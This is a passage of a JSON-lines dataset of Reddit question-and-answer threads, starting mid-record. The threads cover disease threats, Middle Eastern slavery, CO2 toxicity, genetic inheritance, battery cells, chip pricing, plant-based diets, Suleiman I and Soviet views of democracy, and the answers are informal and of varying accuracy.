them for post christmas stock and delay placments of poults on other farm to account for the extra birds. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "oxjsd", "title": "What is currently the most dangerous medical threat to humanity?", "selftext": "After reading about prion diseases for a while I want to curl up in he fetal position and cry.\n\nIt's hard to seperate mass media hysteria from scientific knowledge - is there currently a disease or condition that could threaten all of humanity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oxjsd/what_is_currently_the_most_dangerous_medical/", "answers": {"a_id": ["c3kutvo", "c3kxqd5", "c3l07lp"], "score": [11, 14, 4], "text": ["Dengue hemorrhagic fever (DHF) is considered to be one of the most dangerous emerging diseases. While it hasn't reached pandemic levels, it certainly has the potential to do so in the future. There are several reasons for this:\n\n* Dengue is mainly vectored by two different types of mosquitoes, Aedes albopictus and Aedes polynesiensis. Given different behavioral and ecological factors, it could be difficult to control both at the same time.\n\n* The virus can be transmitted not only horizontally (i.e. from mosquitoes to humans), but also vertically, meaning either transovarially or sexually.\n\n* Four different strains of the virus exist, some being more pathogenic than others\n\n* Exposure to one strain followed by exposure of a different strain within five years can lead to severe cases of dengue shock syndrome\n\n* Increased international travel can spread the virus very quickly. \n\n* Poor mosquito management programs in lesser developed areas of the world almost ensure dengue's continued presence.\n\n\n* Currently, there is no vaccine or cure", "You must've been reading my comments in that beer thread!\n\nPrion diseases are not a dangerous medical threat.  So don't worry about them.\n\nThere are many emerging infectious diseases that scientists worry about.  The worst diseases tend to be those that are only recently infectious in humans.  Keep in mind, infectious diseases don't really want to kill their host, because they want to stay alive and spread longer.  That's why Ebola (a recent jump to humans) is very deadly, but measles (which has been around in humans for a long time) is less-so.\n\nCurrent serious threats in my opinion:\n\n* Completely drug resistant Tuberculosis.  TB is a scary disease because it's very hard to treat and we don't have a great vaccine for it.  But this will likely not cause widespread panic, because it tends to be latent for long enough that nobody cares.\n* Bird flu.  This is a serious threat that only needs a little bit of genetic rearrangement to become very transmissible from human to human.  It's a more virulent flu strain, so it could kill quite a few people, especially the elderly, newborn, and immunocompromised. People underestimate how amazing the flu is because they're used to getting it, but we're used to it because it's very easy to spread.\n* MRSA and other antibiotic-resistant infections.  This goes along with TB and it's basically caused by dumb doctors and dumber patients.  It's getting worse (MRSA is already turning into VRSA.  That's bad.) and as long as doctors keep mis-prescribing antibiotics (especially for thinks like viral infections) and patients keep misusing them (take your full course, don't skip doses!), it'll keep being a problem.  Add this to the fact that pharma companies aren't putting any effort into finding new antibiotics and we have a serious problem on our hands.\n* Vaccine-preventable diseases.  These could end up on the rise because of people not wanting their kids vaccinated.  Yeah, measles doesn't seem scary now, but before the advent of vaccines a lot of kids died from it.  Will probably never be a giant pandemic, since we do have vaccines for them somewhere, but I could see them making a comeback.\n* All the scary diseases.  These tend to be tropical and they generally come about because humans keep intruding into areas of nature and rainforests that they haven't before.  If you want some names, check out Ebola, Lassa, Marbug, Mapucho, Hanta for the very new ones.  These are deadly diseases, but they're so deadly that they tend to \"flame out\" and kill people faster than people can spread them.  If they persist in humans they'll likely become less virulent.  Dengue, malaria, and a host of parasitic diseases are on the rise in tropical areas, which is a huge global health concern, but likely not one you'll encounter in your day-to-day life.\n\nThis all brings me to my final point...\n\n* Bioterrorism.  Is it feasible?  Remains to be seen.  The Soviet Union had a massive program, but we were never in danger from them because it was basically mutually-assured destruction.  Extremists like the terrorists America is so afraid of now are much scarier because they don't seem to care whether or not their own people die.  Any of the above could theoretically be turned into a weapon, even by just infecting one person and letting them run through an airport.  This is a scary thought and it should be treated with the same wariness that we reserve for nuclear armament.  It's unlikely to happen and it's relatively difficult to do without scientists and specialists, but it's a possibility and one we can't ignore.", "Not vaccinating.\n\nVaccines do **not** cause autism!  And many people rely on [herd immunity](_URL_0_).  Everyone 6 months and older should get a flu vaccine each year ([CDC](_URL_1_)).  \n\n\n[The cost](_URL_2_): estimated that in the United States, annual in\ufb02uenza epidemics result in approximately 600,000 life-years lost, 3 million hospitalized days, and 30 million outpatient visits, resulting in medical costs of $10 billion annually."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Herd_immunity", "http://www.cdc.gov/flu/about/qa/flushot.htm#whoshould", "http://en.wikipedia.org/wiki/Seasonal_flu#Cost"]]}
{"q_id": "2hqxu1", "title": "Slavery was abolished in Saudi Arabia and Yemen in 1962, the UAE in 1964, and Oman in 1970. Was owning slaves still commonplace in Arab nations during the 20th Century, or had it been dying out on its own? Did abolishment face resistance?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hqxu1/slavery_was_abolished_in_saudi_arabia_and_yemen/", "answers": {"a_id": ["ckvd79c", "ckvtmuc"], "score": [200, 45], "text": ["Followup question, how different was middle eastern slavery from American slavery? \n\nNote: I'm from the UAE and sometimes I would see people who have very distinct african features but also a prominent arab last name. When I asked around people would just say \"they were the servants\". \n\nEdit: sentence structure ", "Disclaimer: nearly everything I know about Islamic slavery comes from my study of eunuchs, which privileges this information heavily towards \u201celite slavery\u201d, which was not the predominant form of slavery at any given time. Most newly published history-making of the Islamic slave trade is now focusing on the more common slaves, the eunuchs-\u2019n-concubines orientalist fascination with the \u201csexier\u201d forms of slavery is rather out of fashion right now, so I apologise for my unfashionableness. :/  \n\nThe formal ending of Islamic slavery was absolutely a gradual process. The white slave trade had been slowed in the mid 1700s, by the 19th century it was almost entirely gone, Africa was the main source of slaves in the 19th century. Abolitionist Europeans in the 19th century largely protested the highly brutal treatment slaves got *prior* to their sale to their final owners, and they would sometimes make pleas to Ottoman sultans for abolition, which the sultans found mostly just confusing, from my reading. The general attitude was that slavery was just part of life, an ancient practice of many people including Jews and Christians, and it was also sunna, a practice of the Prophet, which made it explicitly not just allowed, but good. Islam also had prescriptions for how to treat slaves, and many slaves (especially elite ones) were manumitted at the end of their owner\u2019s life, as it was a meritorious act. If a man had children with a woman he owned, if the children were acknowledged then they were free. Most slaves did not have children outside of concubinage, for various reasons. Slavery just didn\u2019t develop the generational, permanent status as in America. I\u2019m not trying to say it was a great place to be a slave or even better than America, but under Islam slavery had a different flavor. \n\nHowever, the Ottoman empire did make some legal efforts to curb slavery towards the end of the 19th century, largely by ending the routes for human trafficking (see the Brussels Conference Act of 1890), the Ottoman empire relied on a pretty sophisticated system of human trafficking to get their slaves. Of course this was only an end to formal trafficking, naturally slavery definitely persisted both in contraband slave trade and in the existing people still alive and enslaved. After the fall of the Ottoman empire in 1922 but prior to the formal abolition laws in the countries you listed there were further softer prohibitions and \u201ccrackdowns\u201d on the treatment of slaves in those countries. Consider in 1936 Saudi Arabia banned the importation of any more slaves, before abolition. In the 1950s and later the people still enslaved were either \u201clegacy\u201d slaves or obtained through illegal means we\u2019d find more comparable to slavery today than in the 19th century. \n\nI don\u2019t know how many there were at the end, good numbers on slavery can be pretty hard to come by. [The British Foreign Office in Saudi Arabia between 1926-1938](_URL_3_) had record of 262 people seeking their freedom, which indicates quite a lot of people enslaved. \n\nNow for my very particular knowledge of the bitter end of eunuch slavery, which no one asked for but you\u2019re getting anyway. There is pretty good record of the holy tomb eunuchs of Medina continuing to buy African child castrates in the late 20s and early 30s to maintain their ranks. The last certain record of Islamic eunuchs I know about is a 1990 interview with the Saudi official in charge of the eunuchs of Mecca, which reported that at that time there were 14 eunuchs serving at Mecca and 17 at the tomb of the Prophet in Medina. There is no indication the ranks are being maintained with replacements. He places their origin as former Ethiopian captives of Mussolini\u2019s army, who castrated them for reasons not explained. This is\u2026 well it\u2019s a highly politically convenient origin story for the holy eunuchs, let\u2019s say that. Why Ethiopians (who are usually Coptic Christian) independently made their way to be holy servants for Islam is not easy to imagine. The more likely story, is that these men were trafficked out of Ethiopia as children in the 30s-40s. Ethiopia (Abyssinia) was traditionally considered the \u201cbest\u201d source of elite slaves. They might have been the very last African children castrated and trafficked to be elite slaves, a practice that predated Muhammed. I certainly would like to believe they were the last. The eunuchs themselves were not interviewed in the article. \n\nOf course human trafficking and slavery still exists throughout the world, and this only focuses on the formal government stances on it in the region. Those with questions about modern slavery in the middle east should try /r/AskAnthropology. \n\nOld but good: [Race and Slavery in the Middle East: an historical enquiry](_URL_0_), my information on the 1990s eunuchs is from [Eunuchs and Sacred Boundries in Islamic Society](_URL_2_). \n\n([Here is the citation posted that was removed for being too short](_URL_1_), some people were asking for it.) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.worldcat.org/title/race-and-slavery-in-the-middle-east-an-historical-enquiry/oclc/20295856", "http://www.tandfonline.com/doi/abs/10.1080/00263206.2010.527121#.VCmrufldWSo", "http://www.worldcat.org/title/eunuchs-and-sacred-boundaries-in-islamic-society/oclc/191935606", "http://www.tandfonline.com/doi/pdf/10.1080/10669920120122243"]]}
{"q_id": "10i5fa", "title": "A question about carbon dioxide", "selftext": "I've gotten into a discussion about this and couldn't find a straight forward enough answer on the web to prove my point. Would carbon dioxide be harmful to humans in very high concentrations if the percentage of oxygen in the air was not reduced? For example, if all the gas except oxygen was replaced with carbon dioxide?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10i5fa/a_question_about_carbon_dioxide/", "answers": {"a_id": ["c6do0dq", "c6do13h", "c6do1yg", "c6do65t"], "score": [4, 6, 14, 2], "text": ["The biggest problem is that if the percentage of CO2 in the air is higher than that in your lungs, then you can't breath CO2 out (each breath would draw more in until it equalized with the atmosphere).  Because you couldn't get rid of CO2, you'd hyperventilate as your body tried to get rid of CO2.  Eventually, the level of CO2 (and carbonic acid, since that is the form CO2 usually takes when dissolved in water) in your blood and tissues would rise, and the acidity would start damaging your tissues.", "Hemoglobin, the main oxygen-carrying molecule in red blood cells, carries both oxygen and carbon dioxide. However, the CO2 bound to hemoglobin does not bind to the same site as oxygen. Instead, it combines with the N-terminal groups on the four globin chains. However, because of allosteric effects on the hemoglobin molecule, the binding of CO2 decreases the amount of oxygen that is bound for a given partial pressure of oxygen. The decreased binding to carbon dioxide in the blood due to increased oxygen levels is known as the Haldane Effect, and is important in the transport of carbon dioxide from the tissues to the lungs. Conversely, a rise in the partial pressure of CO2 or a lower pH will cause offloading of oxygen from hemoglobin, which is known as the Bohr Effect.", "It will be very bad, because nitrogen takes about 70% of air concentration (by volume). Replacing it with CO2 will lead to [hypercapnia](_URL_0_). \n\n\n\n**UPDATE:** and if you are interested in thresholds, here you are:\n\n* 4-7% - headache\n\n* 7-10% - unconsciousness, dizziness\n\n* 10% - 15% - severe muscle twitching\n\n* 17% - loss of controlled and purposeful activity, unconsciousness, convulsions, coma, and death occur within 1 minute of initial inhalation of carbon dioxide\n\nsource: [Carbon Dioxide as a Fire Suppressant: Examining the Risks](_URL_1_)", "This has been asked a LOT lately for some reason. Do a search for \"CO2\" or \"carbon dioxide\" and you'll find some good discussions.\n\nBasically, get CO2 much over 10% and you're screwed. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Carbon_dioxide_poisoning", "http://www.epa.gov/ozone/snap/fire/co2/co2report.html"], []]}
{"q_id": "75zj8a", "title": "when do i stop being related to my descendants?", "selftext": "That is to say, after how many generations will my generations cease to be more related to me than to a stranger? If my children inherit 50% of my unique genetic markers, grandchildren 25%, great-grandchildren 12.5%, then at some point this percentage will become negligible, right?\n\nThe question also applies in reverse, if I were to travel in time to meet a distant ancestor, when would a DNA test fail to confirm that I'm more related to him/her than a random stranger?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/75zj8a/eli5_when_do_i_stop_being_related_to_my/", "answers": {"a_id": ["doa3z04", "doa7ce5", "doadzut"], "score": [5, 38, 6], "text": ["You're related forever, just less and less.\n\nIf you took a DNA test today, there are usually clear signs of where your ancestors are from 1000 years ago.", "You've got roughly 2^32 base pairs in your genes.  Mathematically speaking, your genes are probably \"flushed out\" entirely from your descendants after 32 generations (because each generation's share goes down by a factor of 2).\n\nNow, practically speaking, our genomes are 99.9% the same as everyone else's.  So it's about 10 generations or so less that you're practically flushed out.\n\nAnd realistically, after just 5 generations, most of your descendants are third cousins, with less than 1% shared DNA.  After just a few more, there's effectively no chance your most distant descendants (those who only share you in common and not a more recent relative) share any DNA.  If their only link is you and they almost certainly don't share any DNA anymore(1), they're effectively not relatives, and their blood link with you doesn't show anymore.  At that point, I think it's safe to say they're not really your descendants anymore in the way you're thinking about it.\n\n1) I don't mean to suggest that they don't share copies of the same base pairs anymore, they still share 99.9%. I mean that their particular copies of those base pairs were unlikely to have descended to them via the same direct ancestors.", "Never. The line approaches zero, but it never quite gets there. \n\nBut it depends on when you draw the line at \"negligible.\" It gets to be negligible fairly quickly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a1uts2", "title": "why do batteries have multiple lower voltage cells in series instead of just one big cell at the rated voltage of the battery?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1uts2/eli5_why_do_batteries_have_multiple_lower_voltage/", "answers": {"a_id": ["easv4s2", "eat0tn9", "eat3jhy", "eatbfhc", "eatckkm", "eaterio", "eatf1w9", "eatfkug", "eatfoym", "eauv5ee", "eav2ag1"], "score": [109, 356, 20, 13, 2, 3, 2, 2, 2, 2, 2], "text": ["The voltage of a battery depends on the chemical reactions that the battery uses. You can\u2019t change the voltage without changing the cell chemistry so your only option is to put cells in series.", "To explain what cowboysauce means, each chemical reaction pair has a specific voltage that is dependent on the chemicals.  You cannot change it by making it into a bigger container or larger surface area.  That could change the current but not the voltage.  the only way to get more volts is to place the batteries in a row (in sequence), so each one adds a potential (a voltage), until you have the target total voltage.  Kind of like why a ladder has many steps.  Our legs can only go so high with each lift (just like a single chemical cell can), but if we put lifts in a row (cells in sequence), we can get up pretty high.", "\\+1 to the previous guys comments on chemistry.\n\nAlso it's partly economics. If you sell a battery with 1.5 Volts it can be used in devices needing 1.5, 3, 6, 18 volts etc by cramming loads of AA Batteries in the back of a device. (I was going to say into the back of a Game Gear but didn't that take 6 C batteries?)", "There's [a funny quote answering this question](_URL_0_) from a tech site that I like: \n\n >  **You don't just call up the battery fairy and ask her to set your battery to a certain voltage**. Instead, a battery's terminal voltage is largely determined by the different compounds that you use as the anode and cathode, hence chemistry.\n\nThere are only so many materials available. You have to work with what exists. ", "Each cell has a voltage of like 1-1.5. They pair these up to provide specific voltages like 5 or 12 or even 244v in the case of electric cars/hybrid.\n\nDifferent applications require different electrical pressure (voltage) and cells help manage that.\n\nRemember, lads. Like he's 5 :P", "Electrons like being on some materials more than others. The amount that electrons like being on a material has a limited range. Imagine the range going from 0 to 5. Now call the scale units voltage. The scale has to end somewhere and that end specifies the maximum voltage that a single battery can have. Other limitations with reactivity and cost limit what we decide to use, but there doesn't exist a pair of materials where electrons prefer one material 244 V more than the other material. We're limited.", "It's really hard to change the voltage of a single cell.  Chemicals that make power tend to produce between 1 and 1.6 volts.  The standard that we see is 1.5 volts because the most common and easiest to make battery materials produce about 1.5 volts.  \n\nWhen you stack batteries, their volts add up, and you CAN make a battery with a higher voltage by stacking smaller batteries inside a larger package (that's how we have the common 9v battery, it's actually 6 small 1.5v batteries stacked)\n\nActually, the name battery hints at this, as a typical battery like a AA is not, in fact, a battery.  It is a single cell, and battery originally meant a group of things(like how an artillery battery is actually multiple artillery pieces working in concert)- a battery was originally a package like a 9v battery which had multiple calls inside working together to produce a higher voltage.  ", "ELI5: The chemicals inside the battery only produce a very specific voltage, and there are no chemicals that produce voltages higher than 1.5ish-2ish volts. \n\nELI'm Older: Alkaline (normal AA or AAA batteries) follow the following reaction.\n\nZn(s) + 2MnO2(s) \u21cc ZnO(s) + Mn2O3(s) [e\u00b0 = +1.43 V]\n\nNotice the [e\u00b0 = +1.43 V]. That's the \"theoretical voltage\" of the battery. This voltage will remain the same REGARDLESS of surface area, size, etc. It's an INTENSIVE property. It does not change with size or amount. (We'll ignore concentrations and the Nernst equation for now.) You can't just make a \"bigger\" battery and get \"more voltage\". A bigger battery will still produce 1.43 V, it will just have a higher capacity and be able to store more energy.\n\nHowever, there isn't a reaction that produces 9V, for example. I think the most viable reactions only produce around 1-1.5V. Therefore, if you want a battery of higher voltage, you \"stack\" the reactions together. \n\nLook at this 9V battery.\n\n_URL_0_\n\nIt uses the same chemistry as mentioned above. You can COUNT the individual \"cells\" inside the battery. There are 7 of them. 7 x 1.43V = 10.01 V. (All batteries always have a theoretical voltage above what they're actually rated at. Essentially, your AA battery says that it's 1.3V, when in reality the chemistry says it's 1.4. Car batteries say 12V, when in reality it's 14.5ish. This is because when a load is applied, the voltage would drop, and it can't drop too far below it's rated voltage or else it won't work.)\n\nTL:DR: There are no chemical reactions that produce 9V. Therefore we need to \"stack\" the chemical reactions to have batteries of higher voltages. ", "You can only make one cell at a time, and that gives a specified voltage based on the chemistry of the materials you're \"mixing\" (you don't actually let them touch, you make a bridge that electrons can travel through, which passes through whatever you're powering.)If you want more volts you need a more reactive thing (li-ion are already close to exploding at less than 4 volts, getting more  than 4 volts in a single cell will cause fire to happen without cooling systems, which just use up the extra voltage you've made.). So if you want more than 4 volts you best bet is weld a bunch of batteries to each other. Say 6 1.5v Zinc-manganese cells put together in a box to make a 9V battery.\n\nThe common batteries and their cell voltage are below:\n\nNickle - cadmium (easily rechargeable dry cell batteries, but lower voltage) - 1.25V\n\nzinc-manganesedioxide (standard dry cell batteries, this is what a Duracell AA is made of) - 1.5V (this battery varies a lot more than most others with charge level, dropping down to about 1.1 volts just before it dies)\n\nlead-acid (Car batteries, called a wet cell battery because the acid is a liquid) - 2V\n\nLithium-ion (electric cars, laptops, etc. Good for high power demand tasks and easy to recharge, but expensive to produce) - 3.6-3.85\n\ngenerally the more volts the cell puts out the shorter it's lifespan before it needs recharging.\n\n & #x200B;", "A bigger cell doesn't necessarily mean a higher voltage, but different chemicals do. \n\nMultiple lower voltage cells in series is just another way of getting higher voltages. As to how it works, it's like if you want to increase the speed of water from a hole in a tank, you can stack more tanks on top. It's not the perfect analogy but this part works", "You don't choose the voltage of your cell. It's fixed by the underlying chemistry. \n\nNow the voltage is pretty low; used to be 1..2V, now Lithium batteries get 4.2V, but that's still too little for many purposes. \n\nSo that's you take multiple cells to form a battery of cells. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.anandtech.com/comments/6196/preparing-for-the-iphone-next-rumors-analyzed/268082"], [], [], [], ["https://goughlui.com/wp-content/uploads/2015/05/20150504_152030.jpg"], [], [], []]}
{"q_id": "3yl2vb", "title": "are gtx 980s really that much more expensive to produce than gtx 960s?", "selftext": "I'm talking about the material needed here, if not then why is the 980 so much more expensive than a 960, which is the same generation? Does the same concept apply to CPU production? ie a i7 6700k vs a i7 4790k.\n\nedit: thanks guys for all the responses, however most of the comments were about the marketing/economical part of the problem instead of the manufacturing. I feel /u/Nubian_Ibex explained it well [here](_URL_0_). Will mark explained", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yl2vb/eli5_are_gtx_980s_really_that_much_more_expensive/", "answers": {"a_id": ["cyec9m9", "cyed8a9", "cyersry"], "score": [34, 9, 2], "text": ["The top-of-the-line product is usually priced at a premium -- that is, a larger-than-typical profit margin -- because there are some wealthy (or zealous) people who will pay extra to have the best, and because almost no other product can directly compete. This is called a *premium product* or a *luxury product.*\n\nIn business there is no rule that the selling price has to reflect the manufacturing price.", " >  Does the same concept apply to CPU production? ie a i7 6700k vs a i7 4790k\n\nOther posts have already described [chip binning](_URL_2_), but for this example in particular comparison the two chips are different designs.\n\nThe i7-4790k is part of the [Haswell microarchitecture](_URL_1_, whereas the i7-6700k uses the [Skylake microarchitecture](_URL_0_.\n\nThese are two genuinely different designs. Notably, the 4790k uses a different size transistor as compared to the 6700k. Basically, the electronic parts that do computation are smaller in the 6700k which allows intel to pack more of them into one chip and make it run faster.", "Several reasons. Microchips are made in large \"wafers\" - round discs that contain lots of chips that are cut up into little chips. The factories (fabrication plants, or \"fabs\") that make the wafers are getting better and better. By making all the parts smaller, they can make the chips faster. It costs a lot to set up a factory, so when these factories are new they charge more. The price goes down as the cost of the fab is paid off, and more become available increasing competition.\n\nA company I worked for had 3 versions of the chip. One of them used an older process. One of them was the same but used a newer process. A third used the newer process but was a simpler, slower design (one pipeline rather than 2), so we could get more onto a wafer.\n\nWe tested the fastest ones, some could run reliably at a higher clock speed, so we separated them into two bins. We could charge more for the faster one.\n\nAs another poster explained, With some chips, there's an extra level of complexity. Every single chip is tested. They are design them so they can be tested by machine in a fraction of a second. Sometimes some parts work and some don't - for example a 4 core CPU might have 3 working cores. It's still useful. They disable the 4th core (it's designed so this can be done easily) and sell it as a 3 core variant. "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/3yl2vb/eli5_are_gtx_980s_really_that_much_more_expensive/cyed0c7"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Skylake_(microarchitecture)", "https://en.wikipedia.org/wiki/Haswell_(microarchitecture)", "https://en.wikipedia.org/wiki/Product_binning"], []]}
{"q_id": "2qv29f", "title": "if all humans switched to a plant based diet, and all meat, dairy and egg industries disappeared, how would this new and increased demand for plants based foods affect the environment?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qv29f/eli5_if_all_humans_switched_to_a_plant_based_diet/", "answers": {"a_id": ["cn9ssud", "cn9uj5x", "cn9w433"], "score": [2, 3, 3], "text": ["Animals need plant based food. They need  lots of it to grow a kilo meat, produce milk or lay an egg... So if we are not talking about hunting wild animals we would have more space to plant human food. Actually so extremely much more space to grow human food that we could stop burning down forrests for that space.", "Corn is horrible for the soil, so we would probably have more fertile soil. We should be growing up, instead of in fields. Large greenhouses that go up many stories. Each city could have one big enough to sustain the community. We already know how certain plants are harvested, so we could use robots to pick the yield.", "The animals we grow to make meat, milk and eggs contribute to half of global greenhouse gas.  This number takes into account not only the fossil fuels used to produce and transport livestock before and after slaughter, but also the other gasses that livestock produce on their own.  These various gasses are referred to as carbon dioxide equivalents (CO2e).\nOf the gasses generated for production of meat, beef is the highest contributor, generating about 30 pounds of CO2e per pound. Poultry is second with 19.5 pounds generated between chicken and turkey production while pork comes in last at 13.3 pounds of CO2e per pound of meat produced.  Compare that to broccoli. It generates 2.2 pounds of CO2e.  That's a lot less!\n\nToo much CO2 in the air traps gasses and particulates into the atmosphere, contributing to climate change and pollution. It takes 9 trees one month to scrub 10 pounds of CO2 out of the atmosphere. 1,600 trees are being cut down every minute just so people can eat meat.  That\u2019s 1,600 fewer trees  to keep excess CO2 from contributing to pollution and global warming\u2026every 60 seconds.\n\nIf you eat meat every day 15.8 pounds of carbon dioxide emissions go into the air.  If you eat a plant based diet only 6.3 pounds go into the air.\n\nSo there you go my little friend.  If you stop eating meat you might just help stop global warming and pollution and help save the world.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1n68uo", "title": "What feats did Suleiman I do to achive his title, Suleiman \"the magnificent\"?", "selftext": "If anyone could simply explain to me why Suleiman I, of the ottoman empire recived such a title, would be lovely. Also if anyone has any good sources on him i would love to learn more of him since he seems such a interesting person.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1n68uo/what_feats_did_suleiman_i_do_to_achive_his_title/", "answers": {"a_id": ["ccfryok"], "score": [30], "text": ["Great question. The first thing to clarify here is that the title \"Magnificent\" is one that was coined by his European contemporaries, not the Turks themselves. In Turkish, his epithet is \"Kanuni\" or \"Lawgiver\" because he was credited with a consolidation of Ottoman legal authority across Muslim (and Christian) lands -- in part thanks to legal innovation and in part thanks to incredible success on the battlefield.\n\nAs far as achievements, the conquests (mostly in SE Europe) stand above the others, but a close second was his patronage of the arts -- particularly monumental architecture. Suleyman sponsored the work of Mimar Sinan, who was a contemporary and close rival of Michelangelo. Sinan's architectural accomplishments during Suleiman's reign (in particular the \u015eehzade and Suleymaniye Mosques in Istanbul) are and were utter marvels of engineering that were admired by nearly every foreign visitor to Istanbul and were meant to meet (or even surpass) the city's other most famous architectural feat -- the Aya Sofya (Haghia Sophia). He was also well-known for cultivating the science and humanities -- to this day the Suleymaniye Library holds one of the most vast collections of Islamic manuscripts on everything from history to mysticism to medical practices.\n\nI'd highly recommend G\u00fclr\u00fc Necipo\u011flu's book [The Age of Sinan](_URL_1_)\n\nHalil Inalc\u0131k's book [The Ottoman Empire in the Classical Age](_URL_0_) also has a great overview of Suleyman's period."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/s/ref=nb_sb_ss_i_0_9?url=search-alias%3Daps&amp;field-keywords=halil+inalcik&amp;sprefix=halil+ina%2Caps%2C140&amp;rh=i%3Aaps%2Ck%3Ahalil+inalcik", "http://www.amazon.com/The-Age-Sinan-Architectural-Culture/dp/1861892535/ref=sr_1_1?ie=UTF8&amp;qid=1380205810&amp;sr=8-1&amp;keywords=mimar+sinan"]]}
{"q_id": "3ys2w3", "title": "Was democracy \"vilified\" in the USSR during the 1950s the way communism was in the USA?", "selftext": "Edit: Thanks for excellent responses! And yes, I should have clarified, I was thinking capitalism but put democracy. \n\n\n\n\n\nEdit 2: yes I understand, I meant to put Capitalism and mistakenly put Democracy. Please stop reminding me that I am human and make mistakes. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ys2w3/was_democracy_vilified_in_the_ussr_during_the/", "answers": {"a_id": ["cyg3h23", "cyg3mq3", "cyg5zf1", "cyg6n88", "cyg7ugr", "cygeo10"], "score": [17, 1418, 48, 105, 457, 9], "text": ["Related: was 'democracy' defined the same in the USSR as in the USA?", "Democracy? Vilified? Quite the opposite.\n\nThe preamble to the 1977 constitution says\n\n >  It is a society of true democracy, the political system of which ensures effective management of all public affairs, ever more active participation of the working people in running the state, and the combining of citizen's real rights and freedoms with their obligations and responsibility to society.\n\nArticle 9 says\n\n >  The principal direction in the development of the political system of Soviet society is the extension of socialist democracy, namely ever broader participation of citizens in managing the affairs of society and the state, continuous improvement of the machinery of state, heightening of the activity of public organisations, strengthening of the system of people's control, consolidation of the legal foundations of the functioning of the state and of public life, greater openness and publicity, and constant responsiveness to public opinion.\n\nIt was common for Soviet politicians and media outlets to praise the system of Soviet democracy. \n\nFor example, in 1950, [Stalin released a statement on International Women's Day](_URL_1_):\n\n >   Soviet women are taking an active part in administration and in state building, which in itself is a vivid proof of the genuine democracy of the Soviet system: 277 women have been elected Deputies of the Supreme Soviet of the U.S.S.R., and more than 1,700 to the Supreme Soviets of the Union and Autonomous Republics; about half a million women are Deputies to local Soviets.\n\nWhen Stalin was running for election to the Supreme Soviet in 1937, [he gave a speech in Moscow to voters in which he said](_URL_2_):\n\n >  The forthcoming elections are not merely elections, comrades, they are really a national holiday of our workers, our peasants and our intelligentsia. Never in the history 0f the world have there been such really free and really democratic elections\u2014never! History knows no other example like it. The point is not that our elections will be universal, equal, secret and direct, although that fact in itself is of great importance. The point is that our universal elections will be carried out as the freest elections and the most democratic of any country in the world.\n\nFar from criticising the Western world for its democracy, the Soviet Union criticised it for (alleged) *lack* of democracy. [Stalin, in an essay promoting the new constitution that was to be adopted, said](_URL_0_):\n\n >  Democracy in capitalist countries, where there are antagonistic classes, is, in the last analysis, democracy for the strong, democracy for the propertied minority. In the U.S.S.R., on the contrary, democracy is democracy for the working people, i.e., democracy for all.\n\nI've only quoted Stalin here, but these comments pretty well represent the general thrust of Soviet rhetoric throughout its existence. The Soviet system of democracy was praised as more truly democratic than that of the capitalist countries; \"bourgeois democracy\" was considered to be a sham that concentrated power in the hands of the capitalist class, while giving the illusion of public decision-making. By establishing property relations along collective, socialist lines, the Soviet Union eliminated the capitalist class, thereby removing this defect of the capitalist countries and allowing for the creation of a \"genuine democracy\".\n\nThe criticism of the capitalist countries was not on the basis that they were democratic, but on the basis that they were *capitalist*. Marxism holds that capitalism (and imperialism, another crime that the West was charged with) is a system of exploitative relations.", "In USSR western democracies was never dubbed so. They were called \"imperialist\" and \"capitalist\" powers and thus were vilified fiercely.", "'Bourgeouis democracy' such as that of the US was and still is vilified by communists, though mainly because it isn't seen as true democracy.\n\nThough these are of course from Cuba in the early sixties, I think these quotes from Che Guevara illustrate this viewpoint pretty well:\n\n > Democracy cannot consist solely of elections that are nearly always fictitious and managed by rich landowners and professional politicians\n\n > We should not allow the word \"democracy\" to be utilized apologetically to represent the dictatorship of the exploiting classes.\n\n", "The USSR villified capitalism,  not democracy. The USSR actually considered itself more democratic than western democracies, who were considered to be under opression from the upper ruling class. Indeed, while American propaganda oftentimes villified the Russian people, for the most part Soviet propaganda considered the American people hostages that needed to be freed from their capitalist masters.\n\nTheres a quote from a Soviet citizen during the cold war that went something like \"Everything they told me about the Soviet Union was wrong, but everything they told me about the United States was right.\" I think it's a pretty apt descriptor of the propaganda used on both sides of the cold war\n", "If I'm not mistaken, \"democracy\" in theory and practice was celebrated even in Marxist autocracies. It wasn't pure democracy (arguably, no democracy is a pure democracy) but at the local level, representatives to communist governing bodies were elected through a democratic process, even if the selection and grooming of these individuals wasn't really an organic or democratic process. This is true especially of China, where an authoritarian structure at the top allows democratic expression at the local level, as channeled and constrained by those structures. \n\nEven in inarguably autocratic, *anti-democratic* marxist states like North Korea and the Congo would pay rhetorical homage to the theoretical popularity of democracy in the naming conventions of these states (Democratic People's Republic of Korea, Democratic Republic of the Congo, etc. - Soviet satellite states are infamous for this). \n\nThis gets to the heart of a broader debate. The ideological battles of the cold war weren't predicated upon a struggle between \"democracy\" and \"authoritarianism\", but rather a struggle between competing economic arrangements - market economies versus centralized economies. Framing the debate in terms of political arrangements highlights 